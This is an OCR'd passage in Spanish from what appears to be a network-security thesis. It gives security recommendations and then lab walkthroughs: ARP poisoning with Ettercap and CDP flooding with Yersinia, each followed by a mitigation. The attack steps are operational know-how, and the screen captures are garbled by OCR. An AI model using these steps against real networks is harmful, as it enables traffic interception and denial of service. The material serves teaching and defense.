el tréfico que circule por una red estableciendo reglas para poder permitir, bloquear
o re direccionar cualquier tipo de conexion. Sin embargo, no hay que olvidar que
esta herramienta pueda trabajar como software o hardware siendo totalmente

configurable para las peticiones del usuario.
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6.2.3 Usar herramientas de escaneo de puertos como “Zenmap”, disponible para los
distintos sistemas operativos Windows, Linux y MAC; de tal forma que permita
realizar un analisis completo de cualquier equipo conectado a la red determinando
cuéles son sus puntos vulnerables y poder prevenir a tiempo cualquier situacion
fortuita. Ademas, “Zenmap” es un aplicativo muy completo ya que incluso puede
mostrar la topologia y detallar informacién completa dependiendo del tipo de

escaneo que se realice dentro de la red.

6.2.4 Utilizar routers y switches modernos como Cisco ya que ayudan a mitigar los
problemas tipo broadcast y de seguridad. Son disefiados especificamente para

mitigar cualquier tipo de problemas Ethernet.

6.2.5 Antes de realizar cualquier tipo de ataque o mitigacion hacia una red se debe tener
conocimientos sobre lo que se esta realizando, de igual manera los simuladores de
red se deben encontrarse bien instalados y configurados para que puedan cumplir

con las funciones programadas.

6.2.6 Para poder simular cualquier tipo de ataque y sus posibles mitigaciones, es
necesario realizarlo en un ambiente donde exista mayor transito de informacion ya
que de esta manera se puede analizar y observar de mejor manera cual es el

comportamiento de cada dispositivo informatico.

6.2.7 Dar mantenimiento frecuentemente a los equipos informaticos revisando su estado

fisico ya que estos cumplen con cierto tiempo y calidad de vida.
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6.2.8 Para simular estos ataques es recomendable utilizar el sistema operativo “Kali
Linux” (maquina atacante), “Metasploitable”, “Windows 77, “Windows XP” en
cualquiera de sus versiones; estos son utilizados con el objetivo de realizar pruebas

de seguridad.

6.2.9 Para realizar pruebas de hacking ético, se recomienda utilizar softwares de
virtualizacion como Virtual Box o VMWare. Estas aplicaciones son muy
reconocidas a nivel mundial y posee caracteristicas de facil configuracion (tarjeta
de red, sonido, procesador, entre otros) gracias a esto se realizo las simulaciones de

maquinas atacantes o victimas recreando cualquier sistema operativo necesitado.

6.2.10 Utilizar y cambiar las contrasefias de los dispositivos informaticos cada 3 meses
de tal manera que sea dificil de descifrar y menos predecible para el atacante, esta
es una buena practica para el buen funcionamiento de la empresa debido a que
factores humanos no puedan perjudicar o extraer informacion relevante y

necesaria.

6.2.11 Actualmente, el correo electrénico es la herramienta méas utilizada en todas las
empresas; sin embargo, no se encuentra exento a cualquier tipo de ataque, por tal
motivo se recomienda no responder o abrir correos spam, abrir vinculos extrafios
inclusive suscribir correos empresariales en paginas web desconocidas.

6.2.12 Contar con multiples métodos de autenticacion ya sea tipo usuario, maquina o
dispositivo informatico que permita identificar quien dice ser. Se recomienda
permitir y dar accesos tan solo los sistemas o aplicaciones en concreto y a los

necesarios.
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6.2.13 Realizar periodicamente backups de toda la informacion de una empresa, de tal
forma que si existe pérdida o robo de informacion; se pueda recuperar facilmente.
Aunque actualmente existe la famosa “Cloud Computing” logrando ser la manera
mas Optima de almacenar, asegurar, garantizar, acceder rapida y eficazmente a la

informacidn en tiempo real.

6.2.14 Disefiar cualquier tipo de plan de accion que pueda hacer frente a diferentes
situaciones fortuitas de forma que pueda responder rapidamente tras sufrir un

ataque. Se sugiere designar un responsable para gestionar dicho plan.

6.2.15 Realizar periddicamente auditorias se seguridad interna la cual de una vision mas
profesional sobre posibles vulnerabilidades de los sistemas utilizados. En la
actualidad existen varias empresas especializadas en realizar este tipo de
auditorias las cuales prestan abiertamente sus servicios como el caso de

“ClaveiSystems”.

6.2.16 Todos los empleados que trabajen para una empresa deben capacitarse en materia
de Seguridad de la Informacion abarcando puntos relevantes como las causas y
consecuencias de un ataque, autenticaciones, inseguridad de contrasefias,
ciberataque entre otros; los cuales permitan garantizar cierta seguridad por factor

humano.
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8. ANEXOS

8.1 Desarrollo del Ataque y Mitigacion de ARP Poisoning — MitM

8.1.1 Averiguar la direccion IP y MAC del atacante (Kali Linux) usando el comando

“i](‘conﬁg ”,

root@kaliCris: ~ (- IO <}

Archivo Editar Ver Buscar Terminal Ayuda

:~# ifconfig
ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.100.166 EISGEES ZKS.ZSS.ZSS.O broadcast 192.168.100.255

inet6 fe80::a00:27ff:fedf:f304 prefixlen 64 scopeid 0x20<link>
inet6 2800:bf0:29:10d7:a00:27ff:fedf:f304 prefixlen 64 scopeid Ox0<glo

inet6 2800:bf0:a9:10d7:c85e:bbb:3e0f:7dfe prefixlen 64 scopeid 0x0<glo

ether 08:00:27:0f:1f3:04 txqueuelen 1000 (Ethernet)
RX packets 460094 bytes 265512974 (253.2 MiB)

RX errors ® dropped © overruns @ frame ©

TX packets 1423064 bytes 85630641 (81.6 MiB)

TX errors © dropped 0 overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 62 bytes 3278 (3.2 KiB)
RX errors © dropped @ overruns 0 frame ©
TX packets 62 bytes 3278 (3.2 KiB)
TX errors © dropped © overruns © carrier © collisions 6

lHustracion 8.1: “Direccion IP y MAC del atacante ARP Poisoning — Hombre

en el Madio”

8.1.2 Se usa la maquina virtual “Kali Linux” y buscamos la herramienta "Ettercap".

’

lustracion 8.2: “Herramienta Grafica Ettercap’
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8.1.3 Se despliega la interfaz grafica de la aplicacion

ettercap 0.8.2 e ¢
Fite Sniff Options Info

Lttercap

lustracién 8.3: “Despliegue Grafico de Ettercap”

8.1.4 Ir a la pestana “Sniff”, a continuacién “Unified Sniffing” para buscar la interfaz

de red con la que va a trabajar.

ettercap 0.8.2 e o
File Sniff Options Info

Undfied sniffing Cri+U

Bridged sniffing... Ctri+B |

Set pcap filter... Ctri+P |

ercap

lHustracion 8.4: “Busqueda de interfaz de red a trabajar”

8.1.5 Se selecciona la interfaz de red “eth0”.

ettercap Input (<]

Network interfac% : | etho A

| Cancelar ‘ Aceptar J

lustracion 8.5: “Seleccion de interfaz de red”
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8.1.6 Se despliega la informacién actual de la maquina como direccion MAC y

direcciones IP con las cuales trabajard. Ademas, se carga plugins, puertos...

Start Targets Hosts View Mitm Filters Logging Plugins Info

b s
™ <« _ __

Listening on
ethO -> 08:00:27:0F:F3:04
192.168.100.166/255.255.255.0

fe80::a00: 27f1:fe0r:f304/64
2800:bf0:a9:10d7:a00:27ff:fe0f:f304/64
2800:bf0:a9:10d7:c85e:bbb:3e 0f: 7df0/64

SSL dissection needs a valid redir_.command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/ethO/use _tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

33 plugins

42 protocol dissectors

57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

lustracion 8.6: “Informacion actual de la Maquina Atacante”

8.1.7 Se realiza un escaneo de los equipos que se encuentre conectados a la red

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
- Hosts list Ctri+H ( R
Enable IPv6 scan
Listening on: Sca for hosts
eth0 -> 08:00:; :
f file...
192.168.1 Load from file.

fe80:a00; Save tofile...

2800:bf0:29:1233:a00: 27ff:fe0f:f304/64
2800:bf0:29:1233:68de:d295:4cf6:ad93/64

llustracién 8.7: “Escaneo de Equipos Disponibles en la Red”

8.1.8 Se han encontrado 7 equipos en la red, los cuales incluye los equipos victimas

para realizar este ataque.
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Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x

IP Address MAC Address Description
192.168.100.1 68:AB:28:E2:95:25

192.168.100.4 9C:80:DF:10:43.7A

192.168.100.14 20:47:4T:F2:89:86

192.168.100.162 00:1E:64:EC:34:6B
fe80::78e5:83ab:631d: 3404 38:60:77:4E:7A:EA

192.168.100.163 38:60:TT-4E:TAEA

192.168.100.181 08:00:27:17:B4:1D
. Delete Host | Add to Target 1

2182 known services

Lua: no scripts were specified, not starting upl
Starting Unified sniffing...

Randomizing 255 hosts for scanning...

Sranning the whole netmask for 255 hosts...
7 hosts added to the hosts list...

llustracion 8.8: “Busqueda de equipos victimas en la red

8.1.9 En la pestana Hosts, seleccionar la opcion “Host list”, de esta manera se

registran todos los hosts disponibles en red.

ettercap 0.8.2 © 6 0
Start Targets Hosts View Mitm Filters Logging Plugins Info
Enable IPv6 scan
resuauu] 2 )
2800:bf0: Scan for hosts Ctrl4S
2800:bfo:  Load from file... 1
Save to file.. 4

llustracion 8.9: “Registro de Posibles Maquinas Victimas

8.1.10 Verificar cuales son las direcciones IP de las maquinas objetivos, en este caso
la maquina virtual “Metasploitable” trabajarda como una puerta de enlace y
“Windows 7” como la maquina a atacar. Tomar en cuenta que para averiguar
esta informacion es necesario utilizar los comandos “ifconfig” (Linux) e

“ipconfig” (Windows)
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6?36 (35.8 KB)

UP LOODPBACK RUMNNIN
RX p e 121 e

(415.8 EB)

lustracion 8.10: “Direccion IP de Metasploitable

Hindows~systemd2ipeconf iy

onf iguracion IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DMS especifico para la con
i IPuh .
1Pub t©
i on_ [Pub h:b3ld:=34
e s R BA.163
. ! .255.8

192.168.106

fidapt ador de Ethernet UirtualBox Host-=Only Network:

local. . . = :EEhﬂ:2?9h29 cl:=h9d7x13
e e s e e e e s : 192.168.56.1

ra la conexidon.

Miscara de red

: d . .. .. ... 255.255.255.A
Fuert predeterminada . . .

llustracion 8.11: “Direccion IP de Windows

8.1.11 Seleccionar las maquinas objetivos para el ataque
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Start Targets Hosts View Mitm Filters Logging Plugins Info

| 7Hosl List x

IP Address MAC Address Description

192.168.100.1 68:A8:28:£2:95:25

192.168.100.4 9C:80:DF:10:43:7A

192.168.100.14 20:47:47:F2:89:86

192.168.100.162 00:1E:64:EC:34:6B

fe80::78e5:83ab:631d:3404 38:60:77:4E:TA:EA
| 192.168.100.163 38:60:77:4E:TA:EA

192.168.100,181 08:00:27:17:84:1D

| Delete Host I Add to Target 1 ‘[ [ Add to Target 2 J
Starting Unified sniffing... &

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

—Zhostsaddedtothehostslist.
Host 192.168.100.163 added to TARGET1

Host 192.168.100.181 added to TARGET2

lustracion 8.12: “Seleccion maquinas victimas”’

8.1.12 Nos dirigimos a la pestafia MitM (Man in the Middle), y seleccionamos en

“ARP Poisoning”

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x [sP poisoning..

IP Address . ICMP redirect... lnn
192.168.100.1 Port stealing... '
192.168.100.4 DHCP spoofing...
192.168.100.14 NDP poisoning...
192.168.100.162 Stop mitm attack(s)

lustracién 8.13: “Seleccion ataque ARP Poisoning mediante MitM”’
8.1.13 En el cuadro de dialogo que se despliega, se marca “Sniff remote conections”,

seguido de “Aceptar”.

MITM Attack: ARP Poisoning @

Optional parameters
& [Sniff remote connections.|
| Only poison one-way.

l Cancelar JJ kceptar |

llustracion 8.14: “Sniff remote connections”
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8.1.14 Como se observa, se realiza la asociacién de las direcciones MAC con sus

respectivas direcciones IP.

Host 192.168.100.181 added to TARGET2

ARP poisoning victims:

GROUP 1: 192.168.100.163 38:60:77.4E:7AEA

GROUP 2 :192.168.100.181 08:00:27:17:B4:1D

lustracion 8.15: “Asociacion de direcciones MAC e IP”

8.1.15 A continuacion, se selecciona en el menu principal “Plugins”, el cual dirige a

una serie de posibles plugins a usarse, en este caso serd “remote_browser’

>

(ver paginas web de la maquina a victima), de esta manera tomara toda la

informacidn que atraviese por la red. Para un monitoreo profundo, se trabaja

con la direccion IP 192.168.100.163 con direccion MAC 38:60:77: 4E:7A:

EA.

Host List x | Plugins x

Name Version Info

izt e L s S e S
pptp-chapmsl 1.0 PPTP: Forces chapms-v1 from chapms-v2
pptp-pap 10 PPTP: Forces PAP authentication
pptp-reneg 10 PPTP: Forces tunnel re-negotiation
rand_flood 10 Flood the LAN with random MAC addresses

* remote_browser 1.2

Sends visited URLs to the browser

reply_arp L0
repoison_arp 10

scan_poisoner 1.0

raarch Aramicre 19

Simple arp responder
Repoison after broadcast ARP

Actively search other poisoners

Coaarch mramicres MICe in #hna | AN

lustracion 8.16: “Seleccion de Plugin remote browser”
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8.1.16 Nos dirigimos al log de la aplicacion y como se puede observar, el ataque se
realiz6 con éxito
ARP poisoning victims
GROUP 1:192.168.100.163 38:60: 7T:4E:7TA:EA
GROUP 2: 192.168.100.181 08:00:27:17:B4:1D

Activating remote _browser plugin..
Lnified sniffing already started...

llustracion 8.17: “Log de Ettercap”

8.1.17 Para verificar que las direcciones MAC se encuentran suplantadas, utilizamos

el cmd con el comando “arp -a”

sHindowsssystemd2 2arp —a

192 .168.188.163 —— Bxh

D1v9|r1nn fizica

l?J_lhu 188 .1 bE—aB-2
122 .168.166_4 Pc—8
1?2-159-1&“-14 20-47-47-F2-
192 _1AR _1AA_1A2 AR—1 e 4
192168 .188_.166
192 .168 . 1810181 HH -8B i
b a ff—ff f{ ff- ff—ff
B1-AB-5e—-BB—-PB—16
1 -88-5e-00-B8-"71
81 -88-5e—-B80—B8—fh
. “r? A1 -AA-5e-00-PB—F c
A.118.31.181 Bl -B8-5e-76—-1F-h5
1.6%.32.117 A1l-A8-5e—45-2 5
. B1i-PB-5e-81
Bl -B8-5e-06-2
A1-B88-5e—-35-
B1-P-5e—-42
B1-B8-5e-03
Ei—EE—Ee—lﬁ—
B1-PB-5e-53
A1-08-5e-48-98
81 -88-5e-72—-B6—
B1l-PB-5e-7F-FF rd
Fr—Fff—Ff—ff—Ff-—+£F

lustracion 8.18: “Ataque direcciones MAC”
8.1.18 Como medida preventiva para este tipo de ataque se usa entradas estaticas, es
decir permitir que ciertos equipos con sus respectivas direcciones IP y MAC
puedan ingresar en las maquinas. Tomando en cuenta que la configuracion de

esta mitigacion en los equipos es muy facil cabe recalcar que es muy util.
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8.1.19 Para configurar, estas direcciones y que solo permitan pasar informacion se
debe abrir un CMD en modo de administrador y agregar las rutas estaticas

necesarias con el comando “arp —s (direccion IP) (direccion MAC) .

8.1.20 Sin embargo, otros comandos que aseguran la asignacion de estas direcciones

2T

es “netsh”, “interface”, “ipv4” “add neighbors “Conexion de drea local”
(direccion IP) (direccion MAC)”. Como se puede ver en la llustracion 7-19,

se ha agregado la entrada estatica correctamente.

BZX Administrador: C:\Windows)

em32>netsh

netsh 1nte:face>1pu4
netsh interface ipu4>add neighbors "Conexidn de &rea local" 192.168.100.166 08-0
10-27-BF-F3-84

netsh interface ipv4>add neighbors “Conexion de area local' 192.168.100.181 88-0
A-27-AF-F3-A4

lustracion 8.19: “Asignacion de Direcciones Estdticas”

8.1.21 Verificamos que la entrada estatica se agregara correctamente, utilizando el

»»

comando “arp -a

sWindowsssystemd2 rarp —a

192.168.188.163 —— Bxh
on de Internet Direccion fiszica
2168186 .1 68-af-28—e2-95-25 dinamico
192.168.1868.4 Jec-BA-df-18-43-7a dinamico
192 _168.186.14 20-47-47-f2-89-06 di i
192 168 .1868.58 78 BL hil=4d-hi
R 1AA_162 p—hd—pe—14

Al-BR-5e— Mﬂ AR 16
Bl -A8-5e-BB-BB-71
81 -8@-5e-BA-B8-f b
81 -8@-5e-B0-B8-f ¢
@1 -aa- J--T“—Ld N?

B1-80-5 63t

HI—HH—Er -B6 -2

61 -BB-5¢-40-98-8Ff
=72 -B6-87

a1- Se-7f—Ff—fa

i i 8 i i e i i i i i

lustracion 8.20: “Asignacion de Rutas Estdticas”

159



8.1.22 Realizamos nuevamente el ataque (paso 7.1 - 7.1.16). Se captura nuevamente

el trafico con la herramienta “Wireshark” y como podemos observar en la
llustracion 7-21 el ataque se encuentra mitigado correctamente debido a que

la direccion MAC no cambia en lo absoluto.

*ethd IO
File Edit*" View Go Capture Analyze Statistics Telephony Wireless Tools Help
WA® B[ KT QA « > .0 1« | _ @ @ @ I
|l|arp [X] 'I Expression... | +
No Time Source Destination Protocol  Length Info =
0.000000000 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.9?7 Tell 192.168.100.14
.558134702 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.100.14
.558504061 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.9?7 Tell 192.168.100.14

.246063337

~oou@l- e

Pegatron_de:

:ea Broadcast

60 Who

.1587 Tell 192.168.100.14

.246072385 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.100.163
.170320606 Pegatron 4e:7a:ea Broadcast ARP 60 Who has 192.168.100.150? Tell 192.168.100.1¢
.170329816 Pegatron_4e:7a:ea Broadcast ARP 68 Who has 192.168.100.97 Tell 192.168.100.163
.170706970 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.100.150? Tell 192.168.100.1¢€
7.178717433 Pegatron_d4e:7a:ea Broadcast ARP 60 Who has 192.168.100.9? Tell 192.168.100.163
10.004548906 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.100.14
10.558470344 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.100.14 |+

-

L]

Type: ARP (0x0806)

Padding:

-

Address Resolution Protocol (request)

Frame 63: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface @
Ethernet II, Src: Pegatron_de:7a:ea (38:60:77:4e:7a:ea), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Destination: Broadcast (ff:ff:ff:ff:ff:ff)

b Source: Pegatron_4e:?a:eal(38:6@:?7:4&:7&:9&1) I

»

lustracion 8.21: “Mitigacion después del Ataque”
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8.2 Desarrollo del Ataque y Mitigacion de CDP —Denegacidn de Servicio

8.2.1 Para realizar este ataque es necesario utilizar una aplicacion que ayude a la
simulacion de routers y switchs, llamada GNS31. Se ha realizado la siguiente
topologia para simular este tipo de ataque, cabe recalcar que se ha utilizado

subredes dentro de la red 192.168.100.0/24.

w2 OL

a.e [~ | N7 = r | .
Ce S| WMDY e[ @Y\ e
Routers & X i 1 SRR U
e [ BUY LIFETIME LICENSE AT WWW.MIRILLIS.COM
&9 Router cz§91 Yersinia
| & av- router ‘
F—H
2
< "
Consola
GNS3 management console. Running GNS3 version 0.8.4.
Copyright (c) 2006-2013 GNS3 Project.
=> 09:13:44: Exporting R2 configuration to C:\Users\Joe\GNS 3\Projects\CrisTesisCOP_Fingl\configs\R 2.cfg
09:13:44: Exporting R 1 configuration to C:Users\Joe \GNS3\Projects\CrisTesisCOP_Final\cdnfigs R 1.cfg

llustracién 8.22: “Diserio de Red para Ataque de red CDP — Denegacion de

Servicios”

8.2.2 Se abre una consola en el sistema operativo Kali Linux, y se digita el comando

“sudo yersinia -G ”, de tal manera que se abra la aplicacion gréfica.
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root@KkaliCris: ~ e ® O
Archivo Editar Ver Buscar Terminal Ayuda
:~# sudo yersinia -G

(yersinia:2409): Gtk-WARNING **: : gtk menu attach to widget():
already attached to GtkImageMenultem

(yersinia:2409): Gtk-WARNING **: : gtk menu attach to widget(): menu
already attached to GtkImageMenultem

lHustracion 8.23: “Llamar Modo Grdfico de Yersinia”

8.2.3 Se despliega la siguiente interfaz, el cual es muy amigable para el usuario y

realizar diferentes tipos de ataques

r

Yersinia 0.8.2
File Protocols Actions Options Help
o < = @@ .o . s* g
Launch attack| Edit interfaces Load default List attacks Clear stats Capture Edit mode Exit
-Pr'otomls Packets y | CDP | DHCP | 802.1Q 802.1X DTP HSRP ISL MPLS STP VIP | Yersinia log

TTL DeviD Interface Count Lastseen

Field Value Description
Cisco Discovery Protocol

Source MAC B86:45:8B:6B:41:56 Destination MAC @81:80:0C:CC:CC:CC Extra

Version 01 T B4 Checksum 0000

20:56:03

llustracion 8.24: “Interfaz de la herramienta Yersinia de Kali Linux”

8.2.4 Seleccionar la pestaina CDP seguido de “Launch Attack", para observar las

opciones y realizar este tipo de ataque.
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Yersinia 0.8.2

File Protocols Actions Options Help

a 'Dg \ m

v

Capture Edit mode Exit

il

« s
o 5

o
Laundu&ck Edit interfaces Load default List attacks Clear stats
CDP | DHCP | 802,1Q 802.1X DTP HSRP ISL MPLS STP VIP Yersinia iog

Protocols Packets
DP 0 TTL DeviD Interface Count Last seen

CD

lustracion 8.25: “Cargar tipo de ataque CDP”

8.2.5 Seleccionar la pestaiia CDP, seguido de “Flooding CDP table”

Choose protocol attack (-] QL
CDP | DHCP 802.1Q 802.1X DTP HSRP ISL MPLS STP VIP Bire

Choose attack
1S

Description DoS
S sending CDP packet
@ fflooding COR table

Setting up a virtual device

OK

lHustracion 8.26: “Cargar ataque de Inundacion de tabla CDP”

8.2.6 El ataque ha empezado a realizarse con éxito, como se puede observar aumenta

rapidamente el nimero de CDP enviados, generando Denegaciones de

Servicio.
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Flie Protocols Actions Options Help

o s ’ = a .\ . N [X]
{Launch attack: Ede interfaces Load default Ust attacks Clear stats Capture Edn mode Exit
Protocois Packets m  COP DHCP 80210 801X DTP HSRP ISL MPLS STP VIP Yersina fog

39889 TTL DeviD Interface Count Last seen
0 FF D0OO000O ethd 1 18 jun 20:56:15
0 FF  DDDODOD eth0 1 18 jun 20:56:15
0 FF HHHHHHH  ethD 1 18 un 20:56:15
0 FF PPPPPPP ethD 1 1B pun 20:56:15
o FF  UUULUUU ethd 1 18 jun 20:56:15
D FFYYYYYYY eth0 1 18 jun 20:56:15
0 FF 3333333 eth0 1 18 jun 20:56:15
Fleld Value Description = FFAAAAAAA eth0 1 18 jun 20:56:15
FF EEEEEEE eth0 1 18 pun 20:56:15
FF AAAAAAA eth0 | 18 un 20:56:15

Cisco Discovery Protocol

Source MAC 06:45:88:68:41:56

Version o1 T

lustracion 8.27: “Incremento notable de paquetes CDP”

B4

Yersinia 0.8.2

Destination MAC

Checksum 08000

@1:080:8C:CC:CC:CC

8.2.7 La pestafia “Yersenia Log”, nos indica si el ataque ha sido efectuado con

normalidad

C[Z& DHCP 802.1Q 802.1X DTP |HSRP ISL MPLS STR V1P | Yersinia log

attdtk_launch: 15810700 Attack thread BAGB700 is bornll

llustracion 8.28: “Log Yersinia”

8.2.8 Ademas, para comprobar este tipo de ataque, se realiza un filtro en la aplicacion

“Wireshark™ con la direccion 192.168.100.163.
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Name

Wireshark - Display Filters

Filter

Ethernet broadcast
No ARP
IPv4 only

HTTP
Mo ARP and no DNS

=] (=)
‘ BAyuda |

Ethernet address 00:00:5e:00:53:00
Ethernet type 0x0806 (ARP)

TCP or UDP port is 80 (HTTF)

MNon-HTTP and non-SMTP to/from 192.0.2.1

eth.type == 0x0806
eth.addr == fR:ff.ff.FR.FFAf
not arp

ip

eth.addr == 00:00:5e:00:53:00

IPv4 address 192.0.2.1 ip.addr == 192.168.100.163

IPv4 address isn't 192.0.2.1 (don't use != for this!) !{ip.addr == 192.0.2.1)

IPv6 only ipvé

IPv6 address 2001:db8::1 ipv6.addr == 2001:db8::1

IPX anly ipx

TCP only tcp

UDP only udp

Non-DNS l{udp.port == 53 || tcp.port == 53)

tcp.port == 80 || udp.port == 80
http

not arp and l(udp.port == 53)
ip.addr == 192.0.2.1 and not tcp.port in {80 25}

| ® Cancelar |

llustracion 8.29: “Filtrado de direccion IP en Wireshark”

8.2.9 Como se puede observar existe un ataque de inundacion CDP

Capturing from eth0
File Edt View Go Capture Analyze Statistics Telephooy Wireless Tools Help
AMAO DTIRE QAes e Haaqal

i o o

I

|No Time Sonxrce Destnation Protocol  Length Info

| 4.815853817 Sa: COP/VTP/DTP/PAGP/UD. COP 36 Device ID: MHHIMHN
4.815514017  33:f COP/VTP/DTP/PAGP/UD.. COP 90 Device 1D; ZZIGGGG
4.815569580 49: COP/VTP/DTP/PAQP/UD.. COP 96 Device 1D: BBBESBE
4.015623480 dc: COP/VIP/DTP/PAGP/UD.. COP 90 Device 10: SSSAMA
4.815663202 bf: COP/VTP/DTP/PAQP/UD. COP 96 Device I10: IIINIIX
4.815703232 98¢ COP/VIP/OTP/PAGP/UD. COP 90 Device 10 IITRNIX
4.815740869 Bazfc: COP/VTP/DTP/PAQP/UD.. COP 96 Device ID: 9995999
4.815700471 49:02 COP/VIP/DTP/PAQP/UD. COP %0 Device 1D: Ghoesor
4.815820213 b6:4d9: COP/VTP/DTP/PAGQP/UD.. COP 96 Device 1D; TTTITTY
4.815002250  Ta:0a COP/VIP/DTRP/PAGP /U0, COP 90 Device 10: SSS5SSSS
4,815966848 C7:05: COP/VTR/DTP/PAGR/UD.. COP 96 Device 10: HHHMVWV
4.810000355  02:ae COP/VIP/DTP/PAGR/UD. COP 90 Device 10! SLLLLLL
4.816030944 20:59: COP/VTP/DTP/PAQP/UD.. COP 96 Device ID: Padddss
4.816062205 0c:T2: COP/VIP/DTP/PAGP/UD.. COP 90 Device 10: sspesss
4.816001058 ad:da: COP/VIR/DTP/PAQP/UD. COP 96 Device 1D: FFFFFEF

1IEEE 802.3 Ethernet
Logical-Link Control
Cisco Discovery Protocol

Frame 1: 90 bytes on wire (708 bits), 96 bytes captured (Mbhua) on interface 0

| Expression. ¢

Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port
Port

: Etherm
: Etherm
: Etherm
: Etherm
: Etherm
: Etherns
: Etherms

Ethorm

: Etherm
: Etherm
: Ethermy
: Ethern
: Ethern
: Etherm
: Etherm

|

01 98 6C cc cc ©C 20 5¢ 53 17 we 20 00 52 an an
03 00 90 B¢ 20 00 01 ff 47 73 00 61 00 0b 53 30

o7 ethi <ive Capture In progress>

vee o8.0..50 -
IP‘(MC 50!76| Dtsplayed: S0876 (100 0%)  Profile: Default

lustracién 8.30: “Captura de paquetes CDP en Wireshark”

8.2.10 Finalmente, podemos observar en el Log de Yersinia que el ataque en pocos

minutos puede llegar a llenar la tabla CDP rapidamente
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Yersinka 0.8.2

Fle Protocols Actions Optioes Help

° 5 ;' = a o . O

v
Launch attack £t interfaces Load defoult List attecks Clear stats Capture £t mode Bt

‘ COP DWOP ROLIG B0LLX DIF MSEP ISL MPLS STF VI Yervn log

TTL OeviD Interface Count Last seen
FF 7707917 eth 1 18 jun 205926
FFTTTTT eth0 1 18 jun 20 Z
FF 22226%E e1h0 1 18 jun 205526
FF WAVWWWYAY eth0 1 18 jun 205926
FFWWWY eth0 1 18 jun 205526
FF UULUUUY  ethD 1 18 jun 205626
FF MMMMMMM  eth0 1 18 jun 2055 2%
FF 4443884 oth0 1 16 jun 205576
Freld Ve e 18 -
cccoccee h 1 un 205926
Source MAC W 76:18 sk e s
R o FF 666666 etho 1 18 jun 225226
Destination MAC O1:000CH c\c/ 5 Drcovery Presocol
Varsin e Source MAC  (D6:45:88:68:41:56|  Destination MAC | 81:00:0C:CC:CC:CC|  |Extra
m FF
A et Version 01 1118 84 Checksum 0aee
Checksum BEAL
DeviD TITTTTR
Addresses 101085C ©x8600: 0186 DCCC cocc Je70 1869 9439 9632 sass .1.9.R
- .. 6u9910: 0396 008 2000 0111 beac 0001 B00b 5454 . ..,.. T
’“ Etemell® 'g,0020: 454 545¢ 4200 0200 1180 0000 9101 Olcc TYTTR .
0x0030: OD4 0556 1401 DOOI G000 4574 6883 720 . .eV ttheen
B L] PxBO40: 6574 3000 9469 0600 €990 7400 €360 0930 ete.... ...}, .0

lustracion 8.31: “Log de Yersinia”

8.2.11 Para mitigar este tipo de ataque es necesario realizar las respectivas
configuraciones en los routers que se muestran a continuacion.

Seleccionamos el modo consola de cada uno de los dispositivos de red.

v GNS;-_EEUsen l0e\GNS3\projects\GNS3 lkknna\topology. .

Archivo  Editar  Ver Cmral Device Anctar Tools Ayuda
MEX O4HEp /BTy Calec S

~Ta PO

lustracion 8.32: “Log de Yersinia”

8.2.12 Establecemos las direcciones IP y la mascara de cada uno de los routers
llustracion 7-33 para realizar esto se digita en la consola de GNS 3 los
siguientes comandos “conf't”, “interface (nombre de la interface)”, “ip add

(direccion IP)”, “no sh”
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lustracion 8.33: “Configuracion Router 1
8.2.13 Se configura el enlace del Router 1 al Router 2 con los comandos mencionados

anteriormente:

lustracion 8.34: “Configuracion enlace Router 1 a Router 2”

8.2.14 Para la configuracion del router 2 se tiene:

S - ={f=F=Y

lHustracion 7.35: “Configuracion Router 2”

8.2.15 Para mitigar este ataque se debe deshabilitar el protocolo CDP en la misma
consola del Router 1, se realiza esta accion con el comando “no cdp enable”
v “no cdp run”, para visualizar que se realizard esta accion se digita el
comando “show cdp”, tomar en cuenta que para este comando debe estar

fuera del modo de configuracion digitando el comando “exit”.
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lustracion 8.36: “Configuracion Router 2

8.2.16 Realizamos los pasos 7.2.1 hasta 7.2.10, de manera que simule el ataque

nuevamente. Capturamos el trafico con la herramienta “Wireshark” y como

se puede observar el sistema se estabiliza nuevamente (observar el nimero de

paquetes en aumento). Por otro lado, como podemos ver el ataque se ha

mitigado ya que no esta enviado informacién irrelevante por que el trafico de

la maquina victima se regulariza detallando su direccion IP, MAC,

vvwvwvw

Q7

.598410451

17.
17.
7.

Ethernet II,

861157228

.652620783 Pegatron_4e:7a:
.652633973 Pegatron_4e:7a:
.654885820 fe80::1
.844418501 136.144.189.42
169079406 46.173.35.86
301803155 60.53.17.120
489015416 190.22.141.67

38 60 77 4e 7a ea 68 a8
00 7e 42 df 00 00 6b 11
64 a3 27 cc 53 7d 00 6a

ethO: <live capture in progress>

93.176.142.72

192.168.100.163
Broadcast
Broadcast
feB80::78e5:83ab:6..
192.168.100.163

192.168.100.163
192.168.100.163
192.168.100.163

Frame 163547: 140 bytes on wire (1120 bits), 140 bytes
Src: HuaweiTe_e2:95:25 (68:a8:28:€2:95:25]),
Internet Protocol Version 4, Src: 93.176.142.72, Dst: 192T168-100-16S
User Datagram Protocol, Src Port: 10188, Dst Port: 21373
Data (98 bytes)

28 e2 95 25 08 00 45 00
fb 4b 5d bo 8e 48 cO a8
5e b3 64 31 3a 61 64 32

ICMPV6
TCP

(bl
ubpP
ubp

Dst:

140 10188 -

